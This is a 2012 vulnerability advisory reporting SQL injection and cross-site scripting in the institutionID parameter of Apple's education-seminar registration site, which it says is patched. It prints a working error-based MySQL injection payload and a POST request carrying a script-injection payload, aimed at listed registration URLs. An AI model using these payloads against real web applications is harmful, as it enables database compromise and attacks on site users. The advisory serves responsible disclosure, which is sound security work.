Document Title: =============== Apple Website Service - SQL Injection Vulnerabilities Date: ===== 2012-03-28 References: =========== http://www.vulnerability-lab.com/get_content.php?id=476 APPLE ID: 196579501 CREDITS: http://support.apple.com/kb/ht1318 VL-ID: ===== 476 Introduction: ============= Official Apple Website Service for seminars by Kurt Bedell ... (Copy of the Vendor Homepage: https://edseminars.apple.com/ ) Abstract: ========= A Vulnerability Laboratory Researcher discovered multiple blind SQL Injection Vulnerabilities on a Apple Customer Website (Web-Server) Service Application. Report-Timeline: ================ 2012-03-13: Vendor Notification 2012-03-15: Vendor Response/Feedback 2012-03-28: Vendor Fix/Patch 2012-03-29: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== Multiple remote SQL Injection vulnerabilities are detected on a Apple Customer Website (Web-Server) Service Application. The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected application dbms. Successful exploitation of the vulnerability results in dbms, service & application compromise. Vulnerable Module(s): [+] institutionID --- Exception Logs --- sql 2.1 Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near -->) order by DISP at line 1 SELECT * FROM institutions WHERE 1 and (GCRM_ID like -->) order by DISPLAYNAME asc limit 1 sql 2.1 Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near +(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64 at line 1 SELECT * FROM institutions WHERE 1 and (GCRM_ID like +(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95), CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+) order by DISPLAYNAME asc limit 1 Picture(s): ../1.png ../2.png ../3.png Proof of Concept: ================= The vulnerabilities can be exploited by remote attackers without user inter action. For demonstration or reproduce ... Parameter Name: institutionID Parameter Type: Post This parameter value can be affected in many ways ... Attack 1 => "+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100), CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+" Attack 2 => '"--> For implementing goto any of the url mentioned above and ... ... use any HTTP header editor send this data as post. action=register&eventID=5j2n0-eP6ER&instcity=3&instcountry=3&institutionID='%22--%3e%3c%2fstyle%3e%3c %2fscript%3e%3cscript%3ealert(0x000263)%3c%2fscript%3e&instmarket=k12&inststate=3&instzip=3& noschool=y®Address1=3®Address2=3®City=3®Country=3®Email=gfdfgf%40dum.com®FirstName=dummy+fjf®ID= VqdX4-o9e-3cw3eCI-4i32L®JobTitle=3®LastName=dummy+fjf®Organization=3®Phone=3®QualifyRole=3®QualifyStage=3®State= 3®Zippc=3&token=b35cfeb45187cca5efb6623c216b957a The issue is exploitable as sql injection and cross site scripting vulnerability because of a broken input filter or exception-handling. Reference(s): https://edseminars.apple.com/register/5j2n0-eP6ER https://edseminars.apple.com/register/72De0-2N32H https://edseminars.apple.com/register/Z4gDq-rA605 https://edseminars.apple.com/register/HJ56F-4R3o9 https://edseminars.apple.com/register/78k1x-SP65N Solution: ========= 2012-03-28: Vendor Fix/Patch Risk: ===== The security risk of the remote sql injection vulnerabilities are estimated as critical. Credits: ======== Vulnerability Research Laboratory - Mohd. Shadab Siddiqui (gr4yf0x) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory